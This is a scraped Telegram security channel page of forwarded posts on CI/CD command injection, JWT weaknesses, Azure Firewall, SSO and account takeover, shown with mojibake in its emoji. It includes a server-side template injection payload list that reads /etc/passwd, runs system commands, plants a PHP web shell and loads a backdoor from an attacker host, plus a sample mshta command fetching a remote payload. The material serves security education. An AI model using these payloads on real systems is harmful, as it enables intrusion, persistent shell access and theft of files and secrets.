UNDERCODE TESTING
312 subscribers
311 photos
24 videos
173 files
29.9K links
๐Ÿฆ‘ World first platform which Collect & Analyzes every New hacking method.

+ Free AI Practice.

(New Bug Bounty Methods, Tools Updates, AI & Courses).

โœจ Services: Undercode.help/services

โœจyoutube.com/undercode

@Undercode_Testing
Download Telegram
Forwarded from Exploiting Crew (Pr1vAt3)
๐Ÿฆ‘๐‡๐จ๐ฐ ๐€๐ญ๐ญ๐š๐œ๐ค๐ž๐ซ๐ฌ ๐‡๐š๐œ๐ค ๐‚๐ˆ/๐‚๐ƒ ๐๐ข๐ฉ๐ž๐ฅ๐ข๐ง๐ž๐ฌ ๐Ÿ‘‡

I recently watched one of DEFCON's talk of this year "Your CI CD Pipeline Is Vulnerable, But It's Not Your Fault" by Elad Pticha, Oreen Livni and was really impressed by the attack vector (link in comments)

๐‹๐ž๐ญ'๐ฌ ๐ฌ๐ž๐ž ๐ก๐จ๐ฐ ๐ข๐ญ ๐ฐ๐จ๐ซ๐ค๐ฌ

Github workflows are part of the CI/CD (Continous Integration/Continous Deployment) ecosystem that lets developers automate their workflow

For example: once a commit is made to the repo -> the code is scanned with a tool -> if the tests pass -> code is pushed to test/production

Now the interesting part is that (if the repo maintainer uses input that you control) inside the workflow, this can lead to command injection in the pipeline

๐–๐ก๐ข๐œ๐ก ๐ฆ๐ž๐š๐ง๐ฌ ๐ฒ๐จ๐ฎ ๐ฆ๐š๐ฒ ๐›๐ž ๐š๐›๐ฅ๐ž ๐ญ๐จ ๐ญ๐š๐ค๐ž ๐จ๐ฏ๐ž๐ซ ๐ญ๐ก๐ž ๐ซ๐ž๐ฉ๐จ

In the example bellow, the pipeline uses the title of an issue as part of a bash echo command

That means anyone can create a issue named $(๐ฐ๐ก๐จ๐š๐ฆ๐ข) and execute commands in the CI/CD

If you can do that -> you can abuse the command injection to steal the repo's Github token, read secrets or push malicious code

Ref: Andrei Agape
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
Forwarded from Exploiting Crew (Pr1vAt3)
1734579716223.pdf
491.1 KB
๐Ÿฆ‘๐Ÿ”Cracking the Secrets of JWT Hacking ๐Ÿ”

Are you ready to uncover the vulnerabilities in JSON Web Tokens (JWTs) and learn how to secure them effectively? ๐ŸŒ Hereโ€™s a detailed guide on JWT hacking and best practices to safeguard them:

๐Ÿ’ก Common JWT Vulnerabilities:

1๏ธโƒฃ Weak Signing Algorithm (e.g., none): Exploiting algorithms like HS256 or RS256 with insecure configurations.
2๏ธโƒฃ Key Disclosure: Using predictable or publicly exposed keys for token signing.
3๏ธโƒฃ JWT Manipulation: Modifying the header or payload to escalate privileges or bypass authentication.
4๏ธโƒฃ Lack of Expiration: Tokens without expiry enable unauthorized access for extended periods.
5๏ธโƒฃ Insufficient Signature Validation: Failure to properly validate JWT signatures.

๐Ÿ› ๏ธ JWT Hacking Techniques:
โ€ข Header Tampering: Altering the algorithm to โ€œnoneโ€ to bypass signature verification.
โ€ข Key Cracking: Brute-forcing weak or mismanaged secrets.
โ€ข Replay Attacks: Reusing captured tokens to impersonate users.
โ€ข Payload Tampering: Modifying claims (e.g., admin: true) to escalate privileges.
โ€ข Algorithm Downgrade Attacks: Switching from a strong algorithm (RS256) to a weaker one (HS256) if the server mishandles keys.
โ€ข Client-Side Storage Exploitation: Stealing tokens stored in localStorage or sessionStorage via XSS.

โœ… How to Secure JWTs:

๐Ÿ”’ Use Strong Algorithms: Always use strong algorithms like RS256 with secure key management.
โณ Set Expiry Times: Define short-lived tokens with the exp claim to reduce exposure.
๐Ÿ“œ Enforce Algorithm Validation: Ensure the server validates the specified algorithm and rejects โ€œnone.โ€
๐Ÿ”‘ Implement Secure Key Storage: Store signing keys securely (e.g., in environment variables or vaults).
๐Ÿ” Monitor Token Usage: Log and monitor API requests for anomalies or unusual token behavior.
๐Ÿ”„ Rotate Secrets Regularly: Frequently update your keys to limit exposure in case of leaks.
๐Ÿงฑ Protect Client-Side Storage: Use HTTP-only, Secure cookies instead of localStorage or sessionStorage.

๐Ÿ’ป Top Tools for JWT Testing:

๐Ÿ› ๏ธ jwt.io โ€“ Decode, debug, and test tokens.
๐Ÿ› ๏ธ Burp Suite โ€“ Intercept API requests and test JWT-based flows.
๐Ÿ› ๏ธ Postman โ€“ Manual testing for API endpoints using JWT.
๐Ÿ› ๏ธ HackTools โ€“ A browser extension with JWT cracking utilities.
๐Ÿ› ๏ธ John the Ripper โ€“ Brute-force JWT secrets.
๐Ÿ› ๏ธ JARM Tool โ€“ Analyze JWT for misconfigurations and vulnerabilities.

๐Ÿ”— Additional Tips:

๐Ÿ”ต Avoid storing sensitive data directly in the JWT payload, even if encrypted.
๐Ÿ”ต Validate tokens at every API endpoint.
๐Ÿ”ต Beware of Cross-Site Scripting (XSS) attacks that could expose JWTs.

๐Ÿ” JSON Web Tokens (JWTs) are powerful tools for modern applications, but they come with risks. Whether youโ€™re a developer or penetration tester, mastering JWT security is critical for keeping your systems safe. ๐Ÿš€

Ref: in pdf
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
Forwarded from Exploiting Crew (Pr1vAt3)
Azure Firewall.pdf
1 MB
Forwarded from Exploiting Crew (Pr1vAt3)
๐Ÿฆ‘๐ŸŸฅ๐ŸŸฅAzure Firewall ๐ŸŸฅ๐ŸŸฅ

๐Ÿš€ Azure Firewall is a stateful, cloud-native network security service designed to secure your Azure workloads and ensure compliance in todayโ€™s threat-laden digital landscape.

๐Ÿ”‘ Key Features You Need to Know:
1๏ธโƒฃ Application and Network Rule Filtering
โ€ข Define rules based on FQDNs, ports, and protocols to control inbound and outbound traffic.
โ€ข Layer 7 filtering for advanced application-level protection.

2๏ธโƒฃ Threat Intelligence-Based Filtering
โ€ข Leverage Microsoft Threat Intelligence to block malicious IPs and domains automatically.
โ€ข Get real-time threat updates for proactive defense.

3๏ธโƒฃ Built-in High Availability
โ€ข No need for load balancersโ€”Azure Firewall is built for redundancy and 99.95% SLA.

4๏ธโƒฃ Dynamic Scalability
โ€ข Scales automatically to handle high traffic volumes, ensuring uninterrupted security.

5๏ธโƒฃ Centralized Policy Management
โ€ข Manage security policies across multiple Azure Firewalls using Azure Firewall Manager.

6๏ธโƒฃ Logging and Analytics
โ€ข Monitor traffic patterns with deep logging and analytics in Azure Monitor and Sentinel.

7๏ธโƒฃ Hybrid and Multi-Cloud Support
โ€ข Secure traffic between on-premises, Azure, and other cloud providers using ExpressRoute and VPN Gateway.

๐Ÿ’ก Advanced Scenarios with Azure Firewall:
โœ” Network Address Translation (NAT): Protect public-facing services with DNAT/SNAT rules.
โœ” Integration with Private Link: Secure connections to Azure PaaS services.
โœ” Zero Trust Network Security: Enforce strict segmentation and access controls.

๐Ÿ“ˆ Why Choose Azure Firewall?
๐Ÿ”’ Enterprise-grade security with TLS inspection and IDPS (Intrusion Detection & Prevention System).
๐ŸŒ Globally distributed for large-scale enterprise needs.
โšก Effortless integration with Azure Security Center, Azure Virtual WAN, and Third-party SIEM tools.

Ref: Mahesh Girhe
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐Ÿฆ‘Master Cybersecurity Awareness: Protect Yourself in the Digital World!

In the ever-evolving digital landscape, cyber threats are becoming increasingly sophisticated. Whether youโ€™re an individual user or a professional, understanding cybersecurity is crucial to protecting your data, privacy, and assets.

๐Ÿ“– The Cybersecurity Awareness Handbook is your one-stop guide to safeguarding your online presence. Hereโ€™s what it covers:

๐Ÿ” Key Insights in the Handbook

1๏ธโƒฃ Understanding Cyber Threats
โ€ข Learn about phishing, ransomware, malware, and social engineering attacks.
โ€ข Understand how attackers exploit vulnerabilities in systems and human behavior.

2๏ธโƒฃ Building Strong Cyber Defenses
โ€ข Create robust passwords and implement multi-factor authentication (MFA).
โ€ข Discover the importance of regular software updates and patch management.

3๏ธโƒฃ Safe Online Practices
โ€ข Tips for secure online shopping and social media usage.
โ€ข Identifying fake websites and avoiding harmful downloads.

4๏ธโƒฃ Incident Response Plans
โ€ข Step-by-step guidance on responding to data breaches or system compromises.
โ€ข Learn about reporting cybercrimes and recovering from attacks.

5๏ธโƒฃ Empowering Your Workplace
โ€ข Tips for creating a cybersecurity culture in professional environments.
โ€ข How employees can become the first line of defense against cyber threats.

๐Ÿ’ก Why You Need This Handbook
โ€ข Stay Ahead of Threats: Cybersecurity is evolving daily; this guide keeps you informed.
โ€ข Actionable Tips: Practical steps to implement immediately for better security.
โ€ข Comprehensive Knowledge: From basic concepts to advanced strategies, itโ€™s all here.

๐Ÿ›ก Ready to strengthen your cybersecurity skills?
Download the Cybersecurity Awareness Handbook now and take charge of your online safety.

Ref: Mahesh Girhe
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
How Hackers Exploit RDP Proxies in Sophisticated MiTM Attacks
๐Ÿฆ‘ Secure Code Review Challenge 16:

The goal of this challenge is to pop a shell ๐Ÿš and then provide concrete code-level remediation guidance on how to fix the vulnerability.

You can run the challenge on your machine by cloning the GitHub repo > GET <, navigating into './challenge-16', and running 'docker-compose up'.

Ref: Florian WalterFlorian Walter
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐Ÿฆ‘How Account Takeover Techniques: Critical Vulnerabilities Mindmap" ?

Account takeover (ATO) is a critical vulnerability that can compromise sensitive user data and system integrity. This mindmap outlines various ATO techniques, including:

IDOR in Password Reset

Password Reset Poisoning

Mass Assignment

OAuth Misconfigurations

Improper Rate-Limit Checks etc...........

Ref: AMIT KUMAR
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐Ÿฆ‘FREE courses to boost your skills! ๐Ÿ“ˆ

1. Splunk Courses
lnkd.in/d_dZNduf
2. Fortinet Courses
lnkd.in/dmmkZ-tH
3. AttackIQ MITRE ATT&CK Courses
lnkd.in/dcfmSPEJ
4. Microsoft SC-200 Course
lnkd.in/dbCn3k4n
5. Awesome OSINT Courses
lnkd.in/dTCaCf-u
6. CSILinux Forensic Trainings
lnkd.in/dhjwx_5h

Ref: Mohamed Hamdi
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐Ÿฆ‘New SSTI (Server Side Template Injection) - Payloads

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Ref: Aman Dara
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐Ÿฆ‘ LOLbins attacks :

mshta.exe is a legitimate system executable included in Microsoft Windows. It stands for Microsoft HTML Application Host, and its primary purpose is to execute HTML Applications (HTA files). These HTA files are standalone applications that use HTML, JavaScript, VBScript, or other scripting languages.

During an incident response exercise, we identified a sophisticated adversary leveraging Living-Off-The-Land Binaries (LOLBins) to perform malicious actions. They used PowerShell to execute commands, minimizing their footprint and evading detection.

The activity was flagged when Windows Defender logged multiple Event ID 4104 entries in the Microsoft-Windows-PowerShell/Operational log.

Note : These logs revealed suspicious PowerShell commands executing obfuscated scripts.

Further investigation uncovered the use of mshta.exe to load a remote payload via a seemingly legitimate URL.

Key points:
Attackers frequently abuse mshta.exe as part of Living-Off-The-Land Binaries (LOLBins) because:

1>Bypasses Security Controls:
Since it's a legitimate system utility, some security tools may not flag its use as suspicious.
2>Remote Code Execution:
mshta.exe can execute malicious scripts hosted remotely, allowing attackers to deliver payloads via URLs.

Sample Code : mshta.exe "hzzp://malicious-domain[.]com/payload[.]hta"

hashtag#incidentresponse hashtag#dfir hashtag#soc hashtag#cybersecurity hashtag#mitre hashtag#attack hashtag#windows

Ref: Soumick kar
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
๐’๐€๐Œ๐€_๐‚๐ฒ๐›๐ž๐ซ๐ฌ๐ž๐œ๐ฎ๐ซ๐ข๐ญ๐ฒ_๐€๐ฎ๐๐ข๐ญ_๐‚๐ก๐ž๐œ๐ค๐ฅ๐ข๐ฌ๐ญ.pdf
1.7 MB
๐’๐€๐Œ๐€ ๐‚๐ฒ๐›๐ž๐ซ๐ฌ๐ž๐œ๐ฎ๐ซ๐ข๐ญ๐ฒ ๐€๐ฎ๐๐ข๐ญ ๐‚๐ก๐ž๐œ๐ค๐ฅ๐ข๐ฌ๐ญ
Forwarded from Exploiting Crew (Pr1vAt3)
๐Ÿฆ‘SSO (Single Sign-On) Explained.

SSO can be thought of as a master key to open all different locks. It allows a user to log in to different systems using a single set of credentials.

In a time where we are accessing more applications than ever before, this is a big help to mitigate password fatigue and streamlines user experience.

To fully understand the SSO process, ๐—น๐—ฒ๐˜โ€™๐˜€ ๐˜๐—ฎ๐—ธ๐—ฒ ๐—ฎ ๐—น๐—ผ๐—ผ๐—ธ ๐—ฎ๐˜ ๐—ต๐—ผ๐˜„ ๐—ฎ ๐˜‚๐˜€๐—ฒ๐—ฟ ๐˜„๐—ผ๐˜‚๐—น๐—ฑ ๐—น๐—ผ๐—ด ๐—ถ๐—ป๐˜๐—ผ ๐—Ÿ๐—ถ๐—ป๐—ธ๐—ฒ๐—ฑ๐—œ๐—ป ๐˜‚๐˜€๐—ถ๐—ป๐—ด ๐—š๐—ผ๐—ผ๐—ด๐—น๐—ฒ ๐—ฎ๐˜€ ๐˜๐—ต๐—ฒ ๐—ถ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐˜๐˜† ๐—ฝ๐—ฟ๐—ผ๐˜ƒ๐—ถ๐—ฑ๐—ฒ๐—ฟ:

๐Ÿญ) ๐—จ๐˜€๐—ฒ๐—ฟ ๐—ฟ๐—ฒ๐—พ๐˜‚๐—ฒ๐˜€๐˜๐˜€ ๐—ฎ๐—ฐ๐—ฐ๐—ฒ๐˜€๐˜€

First, the user would attempt to access the Service Provider (LinkedIn). At this point, a user would be presented with login options, and in this example, they would select "Sign in with Google".

๐Ÿฎ) ๐—”๐˜‚๐˜๐—ต๐—ฒ๐—ป๐˜๐—ถ๐—ฐ๐—ฎ๐˜๐—ถ๐—ผ๐—ป ๐—ฟ๐—ฒ๐—พ๐˜‚๐—ฒ๐˜€๐˜

From here, the Service Provider (LinkedIn) will redirect the user to the Identity Provider (Google) with an authentication request.

๐Ÿฏ) ๐—œ๐—ฑ๐—ฃ ๐—ฐ๐—ต๐—ฒ๐—ฐ๐—ธ๐˜€ ๐—ณ๐—ผ๐—ฟ ๐—ฎ๐—ฐ๐˜๐—ถ๐˜ƒ๐—ฒ ๐˜€๐—ฒ๐˜€๐˜€๐—ถ๐—ผ๐—ป

Once the Identity Provider (Google) has received the request, it will check for an active session. If it doesn't find one, authentication will be requested.

๐Ÿฐ) ๐—จ๐˜€๐—ฒ๐—ฟ ๐˜€๐˜‚๐—ฏ๐—บ๐—ถ๐˜๐˜€ ๐—ฐ๐—ฟ๐—ฒ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐—ฎ๐—น๐˜€

At this stage, the user will submit their login credentials (username and password) to the Identity Provider (IdP).

๐Ÿฑ) ๐—œ๐—ฑ๐—ฃ ๐˜ƒ๐—ฒ๐—ฟ๐—ถ๐—ณ๐—ถ๐—ฒ๐˜€ ๐—ฐ๐—ฟ๐—ฒ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐—ฎ๐—น๐˜€

The Identity Provider will then verify the submitted credentials against its User Directory (database). If the credentials are correct, the IdP will create an authentication token or assertion.

๐Ÿฒ) ๐—œ๐—ฑ๐—ฃ ๐˜€๐—ฒ๐—ป๐—ฑ๐˜€ ๐˜๐—ผ๐—ธ๐—ฒ๐—ป ๐˜๐—ผ ๐—ฆ๐—ฒ๐—ฟ๐˜ƒ๐—ถ๐—ฐ๐—ฒ ๐—ฃ๐—ฟ๐—ผ๐˜ƒ๐—ถ๐—ฑ๐—ฒ๐—ฟ

Once the token or assertion has been created, the IdP sends it back to the Service Provider confirming the user's identity. The user is now authenticated and can access the Service Provier (LinkedIn).

๐Ÿณ) ๐—”๐—ฐ๐—ฐ๐—ฒ๐˜€๐˜€ ๐—ด๐—ฟ๐—ฎ๐—ป๐˜๐—ฒ๐—ฑ ๐˜‚๐˜€๐—ถ๐—ป๐—ด ๐—ฒ๐˜…๐—ถ๐˜€๐˜๐—ถ๐—ป๐—ด ๐˜€๐—ฒ๐˜€๐˜€๐—ถ๐—ผ๐—ป

Since the Identity Provider has established a session, when the user goes to access a different Service Provider (eg; GitHub), they won't need to re-enter their credentials. Future service providers will request authentication from the Identity Provider, recognize the existing session, and grant access to the user based on the previously authenticated session.

SSO workflows like the above operate on SSO protocols, which are a set of rules that govern how the IdP and SP communicate and trust each other. Common protocols include Security Assertion Markup Language (SAML), OpenID Connect, and OAuth.

๐Ÿ’ญ What's your favourite way to go about authentication? ๐Ÿ’ฌ

Ref: Nikki SiapnoNikki Siapno
@UndercodeCommunity
โ– โ–‚ โ–„ U๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–